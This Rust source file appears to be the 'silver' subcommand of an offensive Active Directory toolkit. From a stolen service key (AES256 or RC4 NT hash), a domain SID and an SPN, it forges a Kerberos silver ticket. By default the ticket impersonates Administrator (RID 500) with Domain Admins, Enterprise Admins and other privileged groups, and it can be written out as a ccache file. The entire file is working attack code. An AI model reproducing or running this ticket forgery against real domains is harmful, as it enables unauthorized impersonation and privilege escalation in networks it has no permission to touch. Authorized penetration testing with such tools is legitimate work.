use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct SilverArgs {
#[arg(long)]
pub realm: String,
#[arg(long)]
pub service_aes256: adhammer_core::SecretString,
#[arg(long)]
pub rc4: bool,
#[arg(long)]
pub spn: String,
#[arg(long)]
pub domain_sid: String,
#[arg(long, default_value = "Administrator")]
pub user: String,
#[arg(long, default_value_t = 500)]
pub rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
#[arg(long)]
pub out: Option<String>,
}
pub(crate) async fn silver(a: SilverArgs) -> Result<()> {
let mut checklist = ui::StageChecklist::new([
"parse service key",
"parse domain SID",
"forge silver TGS",
"write ccache",
]);
let result = silver_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("Silver stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("Silver stages (failed)");
}
}
result
}
async fn silver_impl(a: SilverArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = crate::parse_forge_key(&a.service_aes256, a.rc4)?;
checklist.record_ok(
"parse service key",
if a.rc4 {
"RC4-HMAC (NT hash)"
} else {
"AES256-CTS-HMAC-SHA1-96"
},
);
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
checklist.record_ok("parse domain SID", format!("→ {}", a.domain_sid));
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: vec![],
};
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &a.spn, a.rc4)?;
checklist.record_ok(
"forge silver TGS",
format!("{}@{} for {} (rid {})", a.user, a.realm, a.spn, a.rid),
);
println!(
"[+] forged silver ticket: {}@{} for {} (rid {})",
a.user, a.realm, a.spn, a.rid
);
if let Some(out) = &a.out {
let cc = adhammer_kerberos::silver_ccache(&tgt, &a.user, &a.spn)?;
adhammer_core::write_secret_artifact(
std::path::Path::new(out),
adhammer_core::SecretArtifact::Ccache,
&cc,
)?;
checklist.record_ok("write ccache", format!("→ {out} ({} bytes)", cc.len()));
println!("[+] wrote ccache → {out} ({} bytes)", cc.len());
} else {
checklist.record_ok("write ccache", "skipped (no --out)");
}
Ok(())
}